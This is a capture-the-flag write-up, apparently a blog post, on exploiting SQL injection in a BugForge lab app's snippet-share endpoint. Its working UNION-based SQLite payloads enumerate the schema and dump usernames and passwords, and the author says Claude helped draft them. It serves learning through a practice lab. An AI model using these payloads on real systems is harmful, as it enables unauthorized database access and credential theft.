SQL Injection.
As we do with any BugForge challenge we start with creating an account. After poking around the website I didn't really see anything that stood out as a potential entry point for SQLi. Time to break out the big guns!
___
__H__
___ ___[']_____ ___ ___ {1.10.2.17#dev}
|_ -| . [(] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 11:45:31 /2026-03-04/
do you want to check for the existence of site's sitemap(.xml) [y/N] N
[11:45:35] [INFO] starting crawler for target URL 'https://lab-1772642121598-10scv1.labs-app.bugforge.io/'
[11:45:35] [INFO] searching for links with depth 1
[11:45:35] [INFO] searching for links with depth 2
please enter number of threads? [Enter for 1 (current)] 1
[11:45:38] [WARNING] running in a single-thread mode. This could take a while
[11:45:38] [WARNING] no usable links found (with GET parameters)
[*] ending @ 11:45:38 /2026-03-04/
Hmm...this might be a user error type of moment, so back to the manual search. I went to the public snippets page on the site and clicked into one of the snippets. I tried posting a comment and replaying the request adding a simple ' to the end of the request...and got nothing. Going back to the snippet page there is an option to share the snippet, so taking that request and including the ' I got the following response.
HTTP/2 404 Not Found
Access-Control-Allow-Origin: *
Content-Type: application/json; charset=utf-8
Date: Wed, 04 Mar 2026 17:43:08 GMT
Etag: W/"1d-+JwSH2bSfCB6sfPeQA20UWYOPHE"
X-Powered-By: Express
Content-Length: 29
{"error":"Snippet not found"}
Comparing that to the response when we attempted to replay the comments request, we can see the differences.
HTTP/2 200 OK
Accept-Ranges: bytes
Access-Control-Allow-Origin: *
Cache-Control: public, max-age=0
Content-Type: text/html; charset=UTF-8
Date: Wed, 04 Mar 2026 17:42:02 GMT
Etag: W/"3a2-19b46e65d88"
Last-Modified: Mon, 22 Dec 2025 16:31:01 GMT
X-Powered-By: Express
Content-Length: 930
So lets do some testing for the share functionality, to see what data we can pull out. Note the potential number of columns from a 200 response, which is 6. We can confirm this using the following.
GET /api/snippets/share/cn' union select 1,2,3,4,5,6-- -
And we get the following response.
HTTP/2 200 OK
Access-Control-Allow-Origin: *
Content-Type: application/json; charset=utf-8
Date: Wed, 04 Mar 2026 17:53:54 GMT
Etag: W/"45-TsVTtIaAyePaGi4j+GJwW7AL7MU"
X-Powered-By: Express
Content-Length: 69
{"id":1,"title":2,"code":3,"language":4,"description":5,"username":6}
I ended up messing around for a few minutes attempting payloads for MySQL only to realize that this backend database is not running that. Sitting for a few minutes I thought, what are the chances its sqlite, so I ran the following request to see what happens.
GET /api/snippets/share/cn' union select 1,2,sqlite_version(),4,5,6-- -
Presto - we got ourselves a SQLite!
HTTP/2 200 OK
Access-Control-Allow-Origin: *
Content-Type: application/json; charset=utf-8
Date: Wed, 04 Mar 2026 17:58:01 GMT
Etag: W/"4c-CQVQk3XmtwBCa8ZigbAZRx2GAY0"
X-Powered-By: Express
Content-Length: 76
{"id":1,"title":2,"code":"3.44.2","language":4,"description":5,"username":6}
Now I know little to nothing about SQLite, I prompted Claude to help me with some research on potential payloads that I can try. The first payload it provided was to read all of the tables that exist in the database.
GET /api/snippets/share/cn' union select 1,2,group_concat(tbl_name),4,5,6 from sqlite_schema-- -
So far so good, we successfully got some tables!
HTTP/2 200 OK
Access-Control-Allow-Origin: *
Content-Type: application/json; charset=utf-8
Date: Wed, 04 Mar 2026 18:05:00 GMT
Etag: W/"a6-ukcC4BbNYtOZn6nOvFRyyeGEong"
X-Powered-By: Express
Content-Length: 166
{"id":1,"title":2,"code":"users,users,users,sqlite_sequence,snippets,snippets,snippet_likes,snippet_likes,snippet_comments","language":4,"description":5,"username":6}
We got a couple of users tables in the response. With Claude I was able to conjure up a payload to see what the users table contains.
GET /api/snippets/share/cn' union select 1,2,sql,4,5,6 from sqlite_schema where name='users'-- -
In the response we see the table contains - username, email, password, full_name, bio, and role.
HTTP/2 200 OK
Access-Control-Allow-Origin: *
Content-Type: application/json; charset=utf-8
Date: Wed, 04 Mar 2026 18:14:25 GMT
Etag: W/"162-kEuyRgHeQ9z9D7/L3h8JbmK3MSU"
X-Powered-By: Express
Content-Length: 354
{"id":1,"title":2,"code":"CREATE TABLE users (\n id INTEGER PRIMARY KEY AUTOINCREMENT,\n username TEXT UNIQUE NOT NULL,\n email TEXT UNIQUE NOT NULL,\n password TEXT NOT NULL,\n full_name TEXT,\n bio TEXT,\n role TEXT DEFAULT 'user',\n created_at DATETIME DEFAULT CURRENT_TIMESTAMP\n )","language":4,"description":5,"username":6}
With that information in hand its time to extract the data from the table!
GET /api/snippets/share/cn' union select 1,2,username,password,5,6 from users-- -
If you run the above....you might just get yourself a nice little flag!
No AI used in the making of this post that I know of atleast 😀